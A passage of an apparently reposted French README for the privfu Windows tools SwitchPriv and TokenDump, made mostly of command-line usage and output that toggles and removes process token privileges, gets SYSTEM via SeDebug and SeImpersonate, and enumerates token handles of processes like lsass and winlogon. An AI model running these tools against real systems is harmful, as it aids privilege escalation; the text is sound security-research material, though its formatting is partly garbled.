    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -e und

[>] Trying to enable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Quand vous définissez une chaîne invalide qui ne permet pas de spécifier un nom de privilège unique, vous obtiendrez le message suivant :``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -e se

[>] Trying to enable a token privilege. [] Target PID : 9408 [] Process Name : Notepad [-] Cannot specify a unique privilege to enable. [] SeShutdownPrivilege [] SeChangeNotifyPrivilege [] SeUndockPrivilege [] SeIncreaseWorkingSetPrivilege [] SeTimeZonePrivilege [] Done.

root@kitploit:~
Par exemple, pour activer SeChangeNotifyPrivilege, exécutez avec l'option `--disable` comme suit :```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -d chan

[>] Trying to disable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= ==========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Disabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Pour supprimer un privilège, utilisez l'option --remove comme suit :``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -r inc

[>] Trying to remove a token privilege. [] Target PID : 9408 [] Process Name : Notepad [+] SeIncreaseWorkingSetPrivilege is removed successfully. [*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 4 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ======================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

root@kitploit:~
Si vous souhaitez tester un privilège spécifique, vous pouvez supprimer tous les privilèges sauf celui que vous voulez tester avec l'option `-f` comme suit :```
PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege           Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -f tim

[>] Trying to remove all token privileges except one.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 1 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name      State
=================== =======
SeTimeZonePrivilege Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Vous pouvez utiliser une valeur séparée par des virgules pour filtrer plusieurs privilèges comme suit :``` PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 24 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeIncreaseQuotaPrivilege Disabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege Disabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege Disabled SeIncreaseBasePriorityPrivilege Disabled SeCreatePagefilePrivilege Disabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeRemoteShutdownPrivilege Disabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled SeCreateSymbolicLinkPrivilege Disabled SeDelegateSessionUserImpersonatePrivilege Disabled

[] Integrity Level : High Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -f rest,back,deb

[>] Trying to remove all token privileges except one. [] Target PID : 24300 [] Process Name : powershell [>] Trying to remove privileges other than follows. [] SeBackupPrivilege [] SeRestorePrivilege [] SeDebugPrivilege [+] SeIncreaseQuotaPrivilege is removed successfully. [+] SeSecurityPrivilege is removed successfully. [+] SeTakeOwnershipPrivilege is removed successfully. [+] SeLoadDriverPrivilege is removed successfully. [+] SeSystemProfilePrivilege is removed successfully. [+] SeSystemtimePrivilege is removed successfully. [+] SeProfileSingleProcessPrivilege is removed successfully. [+] SeIncreaseBasePriorityPrivilege is removed successfully. [+] SeCreatePagefilePrivilege is removed successfully. [+] SeShutdownPrivilege is removed successfully. [+] SeSystemEnvironmentPrivilege is removed successfully. [+] SeChangeNotifyPrivilege is removed successfully. [+] SeRemoteShutdownPrivilege is removed successfully. [+] SeUndockPrivilege is removed successfully. [+] SeManageVolumePrivilege is removed successfully. [+] SeImpersonatePrivilege is removed successfully. [+] SeCreateGlobalPrivilege is removed successfully. [+] SeIncreaseWorkingSetPrivilege is removed successfully. [+] SeTimeZonePrivilege is removed successfully. [+] SeCreateSymbolicLinkPrivilege is removed successfully. [+] SeDelegateSessionUserImpersonatePrivilege is removed successfully. [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 3 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================= ======== SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeDebugPrivilege Enabled

[] Integrity Level : High Mandatory Level [] Done.

root@kitploit:~
Pour activer, désactiver ou supprimer tous les privilèges de jeton disponibles, spécifiez `all` comme valeur pour l'option `--enable`, `--disable` ou `--remove` :```
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\Dev> .\SwitchPriv.exe -e all

[>] Trying to enable all token privileges.
    [*] Target PID   : 6772
    [*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.

PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Pour trouver un processus ayant un privilège spécifique, utilisez l'option -s comme suit :``` PS C:\Dev> .\SwitchPriv.exe -s createt

[>] Searching processes have SeCreateTokenPrivilege. [+] Got 5 process(es). [] Memory Compression (PID : 2548) [] smss (PID : 372) [] lsass (PID : 736) [] csrss (PID : 584) [] csrss (PID : 504) [] Access is denied by following 2 process(es). [] System (PID : 4) [] Idle (PID : 0) [*] Done.

PS C:\Dev> .\SwitchPriv.exe -g -p 2548

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled

[] Integrity Level : System Mandatory Level [] Done.

root@kitploit:~
Si vous souhaitez définir le niveau d'intégrité, utilisez l'option `--integrity` comme suit :```
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192

PS C:\Dev> .\SwitchPriv.exe -i 1

[>] Trying to update Integrity Level.
    [*] Target PID   : 3436
    [*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.

PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Low Mandatory Level                           Label            S-1-16-4096

Pour exécuter des actions en tant que SYSTEM, définissez l'indicateur -S comme suit (SeDebugPrivilege et SeImpersonatePrivilege sont requis) :``` PS C:\Dev> .\SwitchPriv.exe -g -p 2548 -S

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [>] Trying to get SYSTEM. [+] Got SYSTEM privilege. [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled

[] Integrity Level : System Mandatory Level [] Done.

root@kitploit:~
## TokenDump

[Retour en haut](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/TokenDump)


Cet outil est un utilitaire pour inspecter les informations de token :```
C:\Dev>.\TokenDump.exe -h

TokenDump - Tool to dump processs token information.

Usage: TokenDump.exe [Options]

        -h, --help    : Displays this help message.
        -d, --debug   : Flag to enable SeDebugPrivilege.
        -e, --enum    : Flag to enumerate brief information tokens for processes or handles.
        -T, --thread  : Flag to scan thead tokens. Use with -e option.
        -H, --handle  : Flag to scan token handles. Use with -e option.
        -s, --scan    : Flag to get verbose information for a specific process, thread or handle.
        -a, --account : Specifies account name filter string. Use with -e flag.
        -p, --pid     : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
        -t, --tid     : Specifies a target TID in decimal format. Use with -s flag and -p option.
        -v, --value   : Specifies a token handle value in hex format. Use with -s flag and -p option.

Pour énumérer le jeton pour tous les processus, définissez simplement l'option -e :``` C:\Dev>.\TokenDump.exe -e

[>] Trying to enumerate process token.

PID Session Process Name Token User Integrity Restricted AppContainer ==== ======= =========================== ============================ ========= ========== ============ 5004 0 svchost.exe NT AUTHORITY\SYSTEM System False False 3728 0 conhost.exe NT AUTHORITY\SYSTEM System False False

--snip--

6712 0 svchost.exe NT AUTHORITY\LOCAL SERVICE System False False 1972 0 svchost.exe NT AUTHORITY\SYSTEM System False False

[+] Got 129 token information. [] Found 7 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\NETWORK SERVICE [] Font Driver Host\UMFD-0 [] Font Driver Host\UMFD-1 [] Window Manager\DWM-1 [*] Done.

root@kitploit:~
Si vous souhaitez activer SeDebugPrivilege, définissez le drapeau `-d` comme suit :```
C:\Dev>.\TokenDump.exe -e -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name                Token User                   Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004       0 svchost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3728       0 conhost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3740       0 vm3dservice.exe             NT AUTHORITY\SYSTEM          System    False      False

--snip--

Lorsque le drapeau -H est défini avec le drapeau -e, TokenDump tente d'énumérer les informations des handles de jetons :``` C:\Dev>.\TokenDump.exe -e -H -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= =================== ========= ========== ============ ============= =================== 0x2B0 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x2B4 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x38C 1 dev22h2\user Medium False False Primary Impersonation

--snip--

[Token Handle(s) - svchost.exe (PID: 3272)]

Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= ========================== ========= ========== ============ ========== =================== 0x168 0 NT AUTHORITY\LOCAL SERVICE System False False Primary Anonymous

[+] Got 819 handle(s). [] Found 8 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] Font Driver Host\UMFD-1 [] Font Driver Host\UMFD-0 [] NT AUTHORITY\NETWORK SERVICE [] Window Manager\DWM-1 [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\ANONYMOUS LOGON [] Done.

root@kitploit:~
Lorsqu'un PID est spécifié avec l'option `-p`, TokenDup énumère uniquement les handles du processus spécifié :```
C:\Dev>.\TokenDump.exe -e -H -d -p 704

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User          Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
 0x2B0       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x2B4       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x38C       1 dev22h2\user        Medium    False      False        Primary       Impersonation
 0x398       1 dev22h2\user        High      False      False        Primary       Identification
 0x3C4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3C8       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D0       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation

[+] Got 8 handle(s).
[*] Found 2 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
[*] Done.

Pour énumérer le jeton de thread usurpé, définissez le drapeau -T ainsi que le drapeau -e comme suit :``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

root@kitploit:~
Si vous souhaitez filtrer ces résultats avec le token username, définissez la chaîne de filtre comme valeur de l'option `-a` comme suit :```
C:\Dev>.\TokenDump.exe -e -a network -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name Token User                   Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3500       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2904       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2504       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
7012       0 msdtc.exe    NT AUTHORITY\NETWORK SERVICE System    False      False
7092       0 sppsvc.exe   NT AUTHORITY\NETWORK SERVICE System    False      False
1676       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3584       0 WmiPrvSE.exe NT AUTHORITY\NETWORK SERVICE System    False      False
1000       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False

[+] Got 9 token information.
[*] Found 7 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Font Driver Host\UMFD-0
    [*] Font Driver Host\UMFD-1
    [*] Window Manager\DWM-1
[*] Done.

C:\Dev>.\TokenDump.exe -e -a network -d -H

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - lsass.exe (PID: 768)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
 0x914       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Impersonation Impersonation

--snip--

[Token Handle(s) - msdtc.exe (PID: 7012)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
 0x23C       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Primary    Anonymous

[+] Got 27 handle(s).
[*] Found 8 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] Font Driver Host\UMFD-1
    [*] Font Driver Host\UMFD-0
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Window Manager\DWM-1
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\ANONYMOUS LOGON
[*] Done.

Pour obtenir des informations détaillées sur un processus spécifique, définissez le drapeau -s et le PID cible comme valeur de l'option -p :``` C:\Dev>.\TokenDump.exe -s -p 5996

[>] Trying to dump process token information.

[Token Information for StartMenuExperienceHost.exe (PID: 5996)]

ImageFilePath : C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe CommandLine : "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Primary Impersonation Level : Anonymous Token ID : 0x0000000000063D9A Authentication ID : 0x000000000001DFE5 Original ID : 0x00000000000003E7 Modified ID : 0x0000000000063D24 Integrity Level : Low Protection Level : N/A Session ID : 1 Elevation Type : Limited Mandatory Policy : NoWriteUp Elevated : False AppContainer : True TokenFlags : VirtualizeAllowed, IsFiltered, LowBox AppContainer Name : microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy AppContainer SID : S-1-15-2-515815643-2845804217-1874292103-218650560-777617685-4287762684-137415000 AppContainer Number : 2 Has Linked Token : True Token Source : User32 Token Source ID : 0x000000000001DE9D

root@kitploit:~
PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group UseForDenyOnly
BUILTIN\Administrators                                        UseForDenyOnly
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\Low Mandatory Level                           Integrity, IntegrityEnabled


APPCONTAINER CAPABILITIES
-------------------------

Capability Name                                                            Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITY\Your Internet connection                     Enabled
APPLICATION PACKAGE AUTHORITY\Your home or work networks                   Enabled
NAMED CAPABILITIES\PackageQuery                                            Enabled
NAMED CAPABILITIES\ActivitySystem                                          Enabled
NAMED CAPABILITIES\PreviewStore                                            Enabled
NAMED CAPABILITIES\CortanaPermissions                                      Enabled
NAMED CAPABILITIES\AppointmentsSystem                                      Enabled
NAMED CAPABILITIES\TeamEditionExperience                                   Enabled
NAMED CAPABILITIES\ShellExperience                                         Enabled
NAMED CAPABILITIES\PackageContents                                         Enabled
NAMED CAPABILITIES\VisualElementsSystem                                    Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled
NAMED CAPABILITIES\ActivityData                                            Enabled
NAMED CAPABILITIES\CloudStore                                              Enabled
NAMED CAPABILITIES\TargetedContent                                         Enabled
NAMED CAPABILITIES\StoreAppInstall                                         Enabled
NAMED CAPABILITIES\StoreLicenseManagement                                  Enabled
NAMED CAPABILITIES\CortanaSettings                                         Enabled
NAMED CAPABILITIES\DependencyTarget                                        Enabled
NAMED CAPABILITIES\SearchSettings                                          Enabled
NAMED CAPABILITIES\CellularData                                            Enabled
NAMED CAPABILITIES\WifiData                                                Enabled
PACKAGE CAPABILITY\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIES\AccessoryManager                                        Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled


DACL INFORMATION
----------------

Account Name                                            Access                      Flags Type
======================================================= =========================== ===== =============
dev22h2\user                                            GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                                     GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425                    GenericExecute, GenericRead None  AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll                  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[Linked Token Information for StartMenuExperienceHost.exe (PID: 5996)]

Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : BUILTIN\Administrators (SID: S-1-5-32-544) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Impersonation Impersonation Level : Identification Token ID : 0x000000000016ECE6 Authentication ID : 0x000000000001DF83 Original ID : 0x00000000000003E7 Modified ID : 0x000000000001DFE4 Integrity Level : High Protection Level : N/A Session ID : 1 Elevation Type : Full Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : NotLow Token Source : User32 Token Source ID : 0x000000000001DE9D

root@kitploit:~
PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= =========================
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Disabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   EnabledByDefault, Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    EnabledByDefault, Enabled
SeCreateGlobalPrivilege                   EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                                        Mandatory, EnabledByDefault, Enabled, Owner
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
